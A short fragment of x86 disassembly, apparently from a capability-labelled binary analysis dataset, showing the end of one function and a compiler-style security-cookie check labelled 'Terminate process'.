cmp edi, 0x11915
jl 0x40562d
mov eax, dword [0x5ae08c]
mov dword [0x5ae6cc], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40cfdd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a6e0]
jne 0x40cfe7
repz ret
jmp fcn.004112d6